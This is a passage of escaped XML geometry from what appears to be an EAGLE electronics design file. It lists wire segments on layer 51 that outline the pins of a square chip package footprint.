x1=\"-0.635\" y1=\"7.0104\" x2=\"-0.3556\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"7.0104\" x2=\"-0.3556\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"8.001\" x2=\"-0.635\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"8.001\" x2=\"-0.635\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"7.0104\" x2=\"-0.8636\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"7.0104\" x2=\"-0.8636\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"8.001\" x2=\"-1.143\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"8.001\" x2=\"-1.143\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"7.0104\" x2=\"-1.3716\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"7.0104\" x2=\"-1.3716\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"8.001\" x2=\"-1.6256\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"8.001\" x2=\"-1.6256\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"7.0104\" x2=\"-1.8542\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"7.0104\" x2=\"-1.8542\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"8.001\" x2=\"-2.1336\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"8.001\" x2=\"-2.1336\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"7.0104\" x2=\"-2.3622\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"7.0104\" x2=\"-2.3622\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"8.001\" x2=\"-2.6416\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"8.001\" x2=\"-2.6416\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"7.0104\" x2=\"-2.8702\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"7.0104\" x2=\"-2.8702\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"8.001\" x2=\"-3.1242\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"8.001\" x2=\"-3.1242\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"7.0104\" x2=\"-3.3528\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"7.0104\" x2=\"-3.3528\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"8.001\" x2=\"-3.6322\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"8.001\" x2=\"-3.6322\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"7.0104\" x2=\"-3.8608\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"7.0104\" x2=\"-3.8608\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"8.001\" x2=\"-4.1402\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"8.001\" x2=\"-4.1402\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"7.0104\" x2=\"-4.3688\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"7.0104\" x2=\"-4.3688\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"8.001\" x2=\"-4.6228\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"8.001\" x2=\"-4.6228\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"7.0104\" x2=\"-4.8768\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"7.0104\" x2=\"-4.8768\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"8.001\" x2=\"-5.1308\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"8.001\" x2=\"-5.1308\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"7.0104\" x2=\"-5.3594\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"7.0104\" x2=\"-5.3594\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"8.001\" x2=\"-5.6388\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"8.001\" x2=\"-5.6388\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"7.0104\" x2=\"-5.8674\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"7.0104\" x2=\"-5.8674\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"8.001\" x2=\"-6.1468\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"8.001\" x2=\"-6.1468\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.8674\" x2=\"-7.0104\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"6.1468\" x2=\"-8.001\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"6.1468\" x2=\"-8.001\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.8674\" x2=\"-7.0104\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.3594\" x2=\"-7.0104\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.6388\" x2=\"-8.001\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.6388\" x2=\"-8.001\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.3594\" x2=\"-7.0104\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.8768\" x2=\"-7.0104\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.1308\" x2=\"-8.001\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.1308\" x2=\"-8.001\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.8768\" x2=\"-7.0104\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.3688\" x2=\"-7.0104\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.6228\" x2=\"-8.001\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.6228\" x2=\"-8.001\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.3688\" x2=\"-7.0104\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.8608\" x2=\"-7.0104\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.1402\" x2=\"-8.001\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.1402\" x2=\"-8.001\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.8608\" x2=\"-7.0104\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.3528\" x2=\"-7.0104\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.6322\" x2=\"-8.001\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.6322\" x2=\"-8.001\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.3528\" x2=\"-7.0104\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.8702\" x2=\"-7.0104\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.1242\" x2=\"-8.001\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.1242\" x2=\"-8.001\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.8702\" x2=\"-7.0104\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.3622\" x2=\"-7.0104\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.6416\" x2=\"-8.001\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.6416\" x2=\"-8.001\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.3622\" x2=\"-7.0104\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.8542\" x2=\"-7.0104\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.1336\" x2=\"-8.001\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.1336\" x2=\"-8.001\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.8542\" x2=\"-7.0104\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.3716\" x2=\"-7.0104\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.6256\" x2=\"-8.001\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.6256\" x2=\"-8.001\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.3716\" x2=\"-7.0104\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.8636\" x2=\"-7.0104\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.143\" x2=\"-8.001\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.143\" x2=\"-8.001\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.8636\" x2=\"-7.0104\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.3556\" x2=\"-7.0104\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.635\" x2=\"-8.001\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.635\" x2=\"-8.001\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.3556\" x2=\"-7.0104\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.127\" x2=\"-7.0104\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.127\" x2=\"-8.001\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.127\" x2=\"-8.001\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.127\" x2=\"-7.0104\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.635\" x2=\"-7.0104\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.3556\" x2=\"-8.001\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.3556\" x2=\"-8.001\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.635\" x2=\"-7.0104\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.143\" x2=\"-7.0104\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.8636\" x2=\"-8.001\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.8636\" x2=\"-8.001\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.143\" x2=\"-7.0104\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.6256\" x2=\"-7.0104\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.3716\" x2=\"-8.001\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.3716\" x2=\"-8.001\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.6256\" x2=\"-7.0104\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.1336\" x2=\"-7.0104\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.8542\" x2=\"-8.001\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.8542\" x2=\"-8.001\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.1336\" x2=\"-7.0104\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.6416\" x2=\"-7.0104\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.3622\" x2=\"-8.001\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.3622\" x2=\"-8.001\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.6416\" x2=\"-7.0104\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.1242\" x2=\"-7.0104\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.8702\" x2=\"-8.001\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.8702\" x2=\"-8.001\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.1242\" x2=\"-7.0104\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.6322\" x2=\"-7.0104\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.3528\" x2=\"-8.001\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.3528\" x2=\"-8.001\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.6322\" x2=\"-7.0104\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.1402\" x2=\"-7.0104\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.8608\" x2=\"-8.001\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.8608\" x2=\"-8.001\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.1402\" x2=\"-7.0104\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.6228\" x2=\"-7.0104\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.3688\" x2=\"-8.001\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.3688\" x2=\"-8.001\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.6228\" x2=\"-7.0104\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.1308\" x2=\"-7.0104\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.8768\" x2=\"-8.001\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.8768\" x2=\"-8.001\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.1308\" x2=\"-7.0104\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.6388\" x2=\"-7.0104\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.3594\" x2=\"-8.001\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.3594\" x2=\"-8.001\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.6388\" x2=\"-7.0104\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-6.1468\" x2=\"-7.0104\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.8674\" x2=\"-8.001\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.8674\" x2=\"-8.001\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-6.1468\" x2=\"-7.0104\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"-7.0104\" x2=\"-6.1468\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"-7.0104\" x2=\"-6.1468\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"-8.001\" x2=\"-5.8674\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"-8.001\" x2=\"-5.8674\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"-7.0104\" x2=\"-5.6388\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"-7.0104\" x2=\"-5.6388\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"-8.001\" x2=\"-5.3594\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"-8.001\" x2=\"-5.3594\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"-7.0104\" x2=\"-5.1308\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"-7.0104\" x2=\"-5.1308\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"-8.001\" x2=\"-4.8768\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"-8.001\" x2=\"-4.8768\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"-7.0104\" x2=\"-4.6228\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"-7.0104\" x2=\"-4.6228\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"-8.001\" x2=\"-4.3688\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"-8.001\" x2=\"-4.3688\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"-7.0104\" x2=\"-4.1402\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"-7.0104\" x2=\"-4.1402\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"-8.001\" x2=\"-3.8608\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"-8.001\" x2=\"-3.8608\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"-7.0104\" x2=\"-3.6322\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"-7.0104\" x2=\"-3.6322\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"-8.001\" x2=\"-3.3528\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"-8.001\" x2=\"-3.3528\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"-7.0104\" x2=\"-3.1242\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"-7.0104\" x2=\"-3.1242\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"-8.001\" x2=\"-2.8702\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"-8.001\" x2=\"-2.8702\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"-7.0104\" x2=\"-2.6416\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"-7.0104\" x2=\"-2.6416\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"-8.001\" x2=\"-2.3622\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"-8.001\" x2=\"-2.3622\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"-7.0104\" x2=\"-2.1336\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"-7.0104\" x2=\"-2.1336\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"-8.001\" x2=\"-1.8542\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"-8.001\" x2=\"-1.8542\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"-7.0104\" x2=\"-1.6256\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"-7.0104\" x2=\"-1.6256\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"-8.001\" x2=\"-1.3716\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"-8.001\" x2=\"-1.3716\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"-7.0104\" x2=\"-1.143\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"-7.0104\" x2=\"-1.143\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"-8.001\" x2=\"-0.8636\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"-8.001\" x2=\"-0.8636\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"-7.0104\" x2=\"-0.635\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"-7.0104\" x2=\"-0.635\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"-8.001\" x2=\"-0.3556\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"-8.001\" x2=\"-0.3556\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"-7.0104\" x2=\"-0.127\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"-7.0104\" x2=\"-0.127\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"-8.001\" x2=\"0.127\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"-8.001\" x2=\"0.127\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-7.0104\" x2=\"0.3556\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"-7.0104\" x2=\"0.3556\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"-8.001\" x2=\"0.635\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-8.001\" x2=\"0.635\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-7.0104\" x2=\"0.8636\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"-7.0104\" x2=\"0.8636\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"-8.001\" x2=\"1.143\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"-8.001\" x2=\"1.143\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"-7.0104\" x2=\"1.3716\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"-7.0104\" x2=\"1.3716\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"-8.001\" x2=\"1.6256\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"-8.001\" x2=\"1.6256\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" 